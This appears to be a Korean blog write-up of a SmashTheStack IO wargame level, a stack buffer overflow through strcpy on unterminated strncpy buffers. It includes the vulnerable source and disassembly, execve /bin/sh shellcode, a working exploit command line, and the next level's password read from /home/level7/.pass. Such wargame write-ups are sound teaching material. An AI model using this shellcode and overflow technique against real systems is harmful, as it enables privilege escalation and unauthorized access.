본문 바로가기
스터디/wargames

[BOF-Wargames] IO SmashTheStack Level6 문제풀이

by 깝태 2011. 8. 14.

level6@io:/levels$ ./level06
Segmentation fault

프로그램을 실행하니 세그멘테이션 폴트가 뜹니다.
버퍼 오버플로우 문제일 가능성이 높아보입니다.

level6@io:/levels$ cat level06.c
#include<string.h>

// The devil is in the details - nnp

void copy_buffers(char *argv[])
{
    char buf1[32], buf2[32], buf3[32];

    LOW [ BUF 3 | BUF 2 | BUF 1 | SFP | RET ] HIGH
               argv[2]   argv[1]

    strncpy(buf2, argv[1], 31); // argv[1] 의 내용을 31 바이트만큼 buf2 에 복사한다.
    strncpy(buf3, argv[2], sizeof(buf3)); // argv[2] 의 내용을 buf3 크기만큼 - 32 바이트 만큼 buf3 에 복사한다.
    strcpy(buf1, buf3); // buf3 를 buf1 에 복사한다.
}

int main(int argc, char *argv[])
{
    copy_buffers(argv); // copy_buffers 함수를 호출하며 argv 를 인자로 전달합니다.
    return 0;
}

예상한대로 이 문제는 버퍼 오버플로우 취약점이 있습니다.

strcpy(buf1, buf3); 이 함수에 취약점이 존재합니다. buf3 를 buf1 로 복사하는 과정에서
범위를 검사하지 않으므로 만약 buf3 가 일정 크기 이상의 데이터를 buf3 에 집어넣으면 buf2 ~ buf ~ sfp ~ ret
까지 덮어서 공격이 되는것같습니다.

그리고 strncpy는 복사할 문자열이 붙여넣을 공간보다 크면 널바이트를 제외하고 붙여넣습니다. 
즉 argv[1]에서 buf2로 복사할때 31바이트보다 크게 지정해주면 널바이트를 빼먹으면서 복사가 됩니다. 
마찬가지로 argv[2]에서 buf3으로 복사할때도 그럽니다.

일단 바로 분석을해보겠습니다

level6@io:/levels$ gdb -q level06
Reading symbols from /levels/level06...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483ec <main+0>:    lea    0x4(%esp),%ecx
0x080483f0 <main+4>:    and    $0xfffffff0,%esp
0x080483f3 <main+7>:    pushl  -0x4(%ecx)
0x080483f6 <main+10>:   push   %ebp
0x080483f7 <main+11>:   mov    %esp,%ebp
0x080483f9 <main+13>:   push   %ecx
0x080483fa <main+14>:   sub    $0x4,%esp
0x080483fd <main+17>:   mov    0x4(%ecx),%eax
0x08048400 <main+20>:   mov    %eax,(%esp)
0x08048403 <main+23>:   call   0x8048394 <copy_buffers>
0x08048408 <main+28>:   mov    $0x0,%eax
0x0804840d <main+33>:   add    $0x4,%esp
0x08048410 <main+36>:   pop    %ecx
0x08048411 <main+37>:   pop    %ebp
0x08048412 <main+38>:   lea    -0x4(%ecx),%esp
0x08048415 <main+41>:   ret
End of assembler dump.

(gdb) disas copy_buffers
Dump of assembler code for function copy_buffers:
0x08048394 <copy_buffers+0>:    push   %ebp
0x08048395 <copy_buffers+1>:    mov    %esp,%ebp // 프롤로그
0x08048397 <copy_buffers+3>:    sub    $0x78,%esp // 스택 120바이트 공간 생성

0x0804839a <copy_buffers+6>:    mov    0x8(%ebp),%eax // EAX에 (EBP+8) 값 복사 - EAX 에 argc 값 복사
0x0804839d <copy_buffers+9>:    add    $0x4,%eax // EAX + 4 => argv[1] 주소

0x080483a0 <copy_buffers+12>:   mov    (%eax),%eax // EAX 에 EAX 복사

0x080483a2 <copy_buffers+14>:   movl   $0x1f,0x8(%esp) // (ESP+8) 에 31 값 복사
0x080483aa <copy_buffers+22>:   mov    %eax,0x4(%esp) // (ESP+4) 에 EAX 값 복사 - (ESP+4) 에 argv[1] 값 복사
0x080483ae <copy_buffers+26>:   lea    -0x40(%ebp),%eax // EAX 에 (EBP-64) 값 복사 - BUF 2 복사과정

0x080483b1 <copy_buffers+29>:   mov    %eax,(%esp) // ESP 에 EAX 값 복사
0x080483b4 <copy_buffers+32>:   call   0x80482b4 <strncpy@plt>
// strncpy(buf2, argv[1], 31); 

0x080483b9 <copy_buffers+37>:   mov    0x8(%ebp),%eax // EAX 에 (EBP+8) 값 복사 - argc 의 내용 다시 복사
0x080483bc <copy_buffers+40>:   add    $0x8,%eax // EAX+8 - argv[2] 의 시작주소를 EAX 에 복사
0x080483bf <copy_buffers+43>:   mov    (%eax),%eax // EAX 에 EAX 복사

0x080483c1 <copy_buffers+45>:   movl   $0x20,0x8(%esp) // (ESP+8) 에 20 값 복사 - sizeof(buf3)
0x080483c9 <copy_buffers+53>:   mov    %eax,0x4(%esp) // (ESP+4) 에 EAX 복사 - argv[2] 값 복사
0x080483cd <copy_buffers+57>:   lea    -0x60(%ebp),%eax // EAX 에 (EBP-96) 값 복사 buf3 값 복사

0x080483d0 <copy_buffers+60>:   mov    %eax,(%esp) // ESP 에 EAX 값 복사
0x080483d3 <copy_buffers+63>:   call   0x80482b4 <strncpy@plt>
// strncpy(buf3, argv[2], sizeof(buf3)); 

0x080483d8 <copy_buffers+68>:   lea    -0x60(%ebp),%eax // EAX 에 (EBP-96) 주소값 복사 
0x080483db <copy_buffers+71>:   mov    %eax,0x4(%esp) // (ESP+4) 에 EAX 값 복사 - buf3 

0x080483df <copy_buffers+75>:   lea    -0x20(%ebp),%eax // EAX 에 (EBP-32) 값 주소값 복사 
0x080483e2 <copy_buffers+78>:   mov    %eax,(%esp) // ESP 에 EAX 값 복사 - buf1
0x080483e5 <copy_buffers+81>:   call   0x80482d4 <strcpy@plt>
//strcpy(buf1, buf3); 

0x080483ea <copy_buffers+86>:   leave // 에필로그
0x080483eb <copy_buffers+87>:   ret
End of assembler dump.

분석을 모두 끝마쳤습니다. 메모리 구조를 확인해보겠습니다.
| EBP-96 | EBP-64 | EBP-32 | SFP | RET |  이렇게 선언이 되어있습니다. 처음에 말씀드렷듯이 취약점은
strcpy(buf1, buf3); 이 곳에 존재합니다. 

buf3 는 argv[2] 를 통해 입력되며 buf1 은 입력이 되지 않습니다.
그러니깐 buf3 에 무작위로 데이터를 마구마구 입력해 buf2 까지로 buf1 을 덮고, sfp -> ret 까지
덮어버리면 될것같습니다.

| EBP-96 | EBP-64 | EBP-32 | SFP | RET |
                                    └> | EBP-96 | EBP-64|

strcpy(buf1, buf3);  함수에 의해 위 모양처럼 만들어집니다.

`python -c 'print "\x90"*4 + "RET"'` `python -c 'print "\x90"*7 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

헷갈려하는 사람들이 있을수도 있으니, -나도 생각해내는데 약간의 어려움이 있었다.- 설명해보겠다.

strcpy(buf1, buf3); 과정에 의해 argv[2] 로 입력한 buf3 가 buf1 에 복사된다.
그런데 기존 메모리 구조는 | EBP-96 | EBP-64 | EBP-32 | SFP | RET | 이거였으나
위와 같은 과정을 거치면 메모리구조는 아래와 같이 커스터마이징 된다.

| EBP-96 | EBP-64 | EBP-96 | EBP-64 | SFP | RET |

strncpy 함수에서 널바이트보다 많은 값을 넣거나의 동작으로 널바이트를 덮으면 그 이상의 값을 입력할 수 있습니다.
그러니깐 argv[2] 에서 널바이트까지 딱 덮어버리고 argv[1] 에서 SFP 와 RET 값을 전해주면 키 값을 획득할 수 있습니다.
RET 에는 argv[2] 의 내용으로(NOP + 쉘코드) 전해준 buf3 의 주소를 넣어주면 될겁니다.

그러면 이제 buf3 의 주소를 구해줘야합니다.

level6@io:/levels$ ltrace ./level06 `python -c 'print "A"*8'` `python -c 'print "A"*32'`
__libc_start_main(0x80483ec, 3, 0xbfffdd74, 0x8048470, 0x8048420 <unfinished ...>
strncpy(0xbfffdc68, "AAAAAAAA", 31)              = 0xbfffdc68
strncpy(0xbfffdc48, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 32) = 0xbfffdc48
strcpy(0xbfffdc88, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0xbfffdc88
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

코드를 다시 짜고 공격해보겠습니다.

level6@io:/levels$ ./level06 `python -c 'print "A"*4 + "\x48\xdc\xff\xbf"'` `python -c 'print "\x90"*7 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

sh-4.1$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1007(level7),1006(level6),1029(nosu)

sh-4.1$ cat /home/level7/.pass
L7fnSYMdStqZ

공격에 성공하였습니다.